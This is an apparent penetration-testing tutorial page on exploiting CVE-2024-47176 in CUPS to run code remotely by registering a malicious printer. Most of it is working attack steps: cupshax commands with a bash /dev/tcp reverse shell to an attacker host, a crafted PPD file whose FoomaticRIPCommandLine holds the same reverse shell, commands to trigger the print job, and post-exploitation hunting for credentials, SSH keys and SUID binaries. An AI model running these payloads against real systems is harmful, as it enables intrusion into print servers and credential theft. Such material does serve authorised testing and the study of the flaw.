Skip to content
HackIndex logo

HackIndex

CUPS Malicious Printer RCE

4 min read May 15, 2026

The CVE-2024-47176 attack chain works by triggering cups-browsed to add a malicious printer — one hosted by the attacker — to the CUPS configuration. The malicious printer advertisement contains a crafted PPD (PostScript Printer Description) file with a command injection payload in the FoomaticRIPCommandLine field. When any print job is sent to this printer, CUPS processes the PPD and executes the injected command as the lp user. Confirm all prerequisites through CVE-2024-47176 testing before running the exploit.

Method 1 — cupshax Automated Exploit

cupshax automates the full chain: starts a malicious IPP server, sends the UDP trigger, waits for cups-browsed to connect, and serves the poisoned PPD:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/RickdeJager/cupshax && cd cupshax
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install -r requirements.txt
Explain command
https://github.com/RickdeJager/cupshax Remote repository URL to clone locally.
-r requirements.txt Install dependencies listed in the specified requirements file.
--break-system-packages Allow pip to override system-managed Python packages.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ python3 cupshax.py --target $TARGET_IP --attacker-ip $LHOST --command "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
[*] Sending UDP trigger to 10.10.10.50:631
[*] cups-browsed connected back
[*] Serving malicious IPP printer: CUPS-Printer-$LHOST
[*] Waiting for print job trigger...
[*] Command injected — check your listener
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, shows connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specify the local port number to listen on.
$LPORT Placeholder for the local listener port number.
--target Specifies the target IP address to attack.
$TARGET_IP Placeholder for the target machine's IP address.
--attacker-ip Specifies the attacker's IP for the reverse connection.
$LHOST Placeholder for the attacker's local/listening IP address.
--command Shell command to execute on the target via the exploit.
/dev/tcp/$LHOST/$LPORT Bash TCP device file used to establish reverse shell connection.
0>&1 Redirects stdin to stdout, completing the reverse shell I/O.

After the malicious printer is registered on the target, a print job must be triggered to execute the payload. If no print job occurs automatically within a few minutes, trigger one manually:

┌──(kali㉿kali)-[~]
└─$ # Find the registered malicious printer name
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:631/printers/ | grep -oE 'href="/printers/[^"]+"'
href="/printers/CUPS-Printer-10.10.14.5"
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure TLS connections by skipping certificate verification.
http://$TARGET_IP:631/printers/ Target URL with variable IP hitting the CUPS printers web interface on port 631.
-oE Enables extended regex and outputs only the matching part of each line.
'href="/printers/[^"]+' Extended regex pattern to extract printer href paths from HTML output.
┌──(kali㉿kali)-[~]
└─$ # Trigger a print job to the malicious printer
┌──(kali㉿kali)-[~]
└─$ echo 'trigger' | lp -h $TARGET_IP:631 -d 'CUPS-Printer-10.10.14.5'
request id is CUPS-Printer-10.10.14.5-1 (1 file(s))
Explain command
-h $TARGET_IP:631 Specifies the target CUPS server host and port to connect to.
-d 'CUPS-Printer-10.10.14.5' Specifies the destination printer name on the CUPS server.

Method 2 — Manual Chain

When cupshax is unavailable, build the chain manually. First create the malicious PPD with command injection:

*PPD-Adobe: "4.3"
*FormatVersion: "4.3"
*FileVersion: "1.0"
*PCFileName: "malicious.ppd"
*Manufacturer: "HackIndex"
*ModelName: "Malicious Printer"
*ShortNickName: "Malicious Printer"
*NickName: "Malicious Printer"
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*ColorDevice: False
*DefaultColorSpace: Gray
*FileSystem: False
*Throughput: "1"
*LandscapeOrientation: Plus90
*FoomaticRIPCommandLine: "bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'"
*cupsFilter: "application/vnd.cups-postscript 0 foomatic-rip"
┌──(kali㉿kali)-[~]
└─$ # Start a minimal Python IPP server serving the malicious PPD
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import socket, threading
# Minimal IPP server — use cupshax for production use
print('Use cupshax for reliable manual exploitation')
"

Reverse Shell and Privilege Context

The shell executes as the lp user — the CUPS print spooler account. Check what privileges this account has:

user@host ~ $ id && sudo -l 2>/dev/null
uid=7(lp) gid=7(lp) groups=7(lp)
Sorry, user lp may not run sudo.
Explain command
&& Execute next command only if the previous command succeeds.
sudo -l List commands the current user is allowed to run via sudo.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
user@host ~ $ # Check for CUPS config and credentials readable by lp
user@host ~ $ cat /etc/cups/cupsd.conf 2>/dev/null
user@host ~ $ ls -la /etc/cups/ 2>/dev/null
Explain command
/etc/cups/cupsd.conf Path to the CUPS daemon main configuration file.
2>/dev/null Redirects stderr to /dev/null to suppress error messages.
-la Lists all files in long format including hidden files.
/etc/cups/ Target directory containing CUPS configuration files.

The lp account has read access to CUPS configuration files including any stored credentials and the SSL/TLS certificates used by CUPS. Check for credential files, SSH keys in home directories, and SUID binaries accessible from this account for privilege escalation paths.

Clean Up the Malicious Printer

Remove the malicious printer from CUPS after obtaining the shell:

┌──(kali㉿kali)-[~]
└─$ # Remove via CUPS admin web interface
┌──(kali㉿kali)-[~]
└─$ curl -sk -u root: http://$TARGET_IP:631/admin/ \
-X POST -d 'op=delete-printer&printer_name=CUPS-Printer-10.10.14.5&confirm=Delete+Printer'
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections by skipping certificate verification.
-u root: Authenticate with username 'root' and an empty password.
http://$TARGET_IP:631/admin/ Target CUPS admin endpoint on the specified host at port 631.
-X POST Send an HTTP POST request instead of the default GET.
-d 'op=delete-printer&printer_name=CUPS-Printer-10.10.14.5&confirm=Delete+Printer' POST body instructing CUPS to delete the specified printer.

References